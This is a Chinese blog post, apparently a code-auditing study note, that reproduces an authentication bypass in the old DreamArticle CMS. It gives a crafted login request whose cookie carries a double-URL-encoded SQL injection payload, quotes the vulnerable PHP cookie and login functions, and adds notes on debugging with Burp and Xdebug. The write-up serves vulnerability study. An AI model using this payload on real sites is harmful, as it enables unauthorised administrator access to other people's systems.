一个很老的CMS了。
最近在学代码审计,看到网上有人提到这里的漏洞就想复现出来。先上图
原文:
利用DreamArticle 后台验证漏洞直接登陆后台:
http://www.webjx.com/security/leak-11941.html
构造以下post请求
POST /da/admin/index.php HTTP/1.1
...
Cookie: PHPSESSID=ci49apcu773lhpug1vd6kv6ub1; iDreamSoft_iCMS_AUTH=9ac6MxBR983xzuQb2oTLXuK%2BYVCAWytYzUACr6%2Fztq2yb6gJquFK8F4tEyXZwDns6YvUbBDaHENODiHjAYUJL0f54QtjvqswkWmwbRrV3CVprtRZgw; XDEBUG_SESSION=PHPSTORM; iDreamSoft_admincode=2126;
#关键的两个cookie:
iDreamSoft_administrator=dsaf%2527 union select database()#;
iDreamSoft_adminpassword=dreamarticle;
username=admin&password=adsdadn&codestr=2126&action=l
在chrome中安装EditThisCookie添加cookie(其实我今天手抖,双击了两下开发者工具中的application->storage-cookie下的空行居然可以直接添加cookie,但是后来无法复现了。)
本地修改action的值就可以提交
漏洞原理(2.0版本和网上文章的3.0版本还是有些不一样的):
admin/global.php
$adminid =intval(get_cookie("adminid"));
$administrator =get_cookie("administrator");
$adminpassword =get_cookie("adminpassword");
// 验证是否处于登陆状态
if ($administrator && $adminpassword && get_cookie("admincode")) {
islogin($administrator,$adminpassword);
} else {
...
}
由于get_cookie存在urldecode函数,所以可以用%2527绕过:
function get_cookie($name){
global $_COOKIE,$cookieprename;
if (isset($_COOKIE[$cookieprename.$name])) {
return urldecode($_COOKIE[$cookieprename.$name]);
}
return FALSE;
}
admin/function.php
function islogin($username, $password) {
global $DreamCMS;
if (empty($username)||empty($password)) {
set_cookie("admincode",'',time() - 31536000);
set_cookie("adminid",'',time() - 31536000);
set_cookie("administrator", '',time() - 31536000);
set_cookie("adminpassword", '',time() - 31536000);
_print('login','admin');
exit;
}
$pwd = $DreamCMS->db->get_var("SELECT password FROM `#DC@__admin` WHERE name='{$username}'");
#就是这里存在一个注入
//echo "$username\t$password";
//echo "pwd=$pwd";
if ($pwd != $password) {
set_cookie("admincode",'',time() - 31536000);
set_cookie("adminid",'',time() - 31536000);
set_cookie("administrator", '',time() - 31536000);
set_cookie("adminpassword", '',time() - 31536000);
_print('login','admin');
exit;
}
}
这里还有个问题是,直接用burp的repeater发包会返回
你的浏览器版本过低!!!本系统要求IE5及以上版本才能使用本系统。
另外是debug了还没看懂这个CMS验证通过后是如何跳转到管理页面的。。
收获:
另外无意间发现了在浏览器不设代理,xdebug开启的情况下,burp的包也能直接走phpstorm直接debug,不知道是什么原理。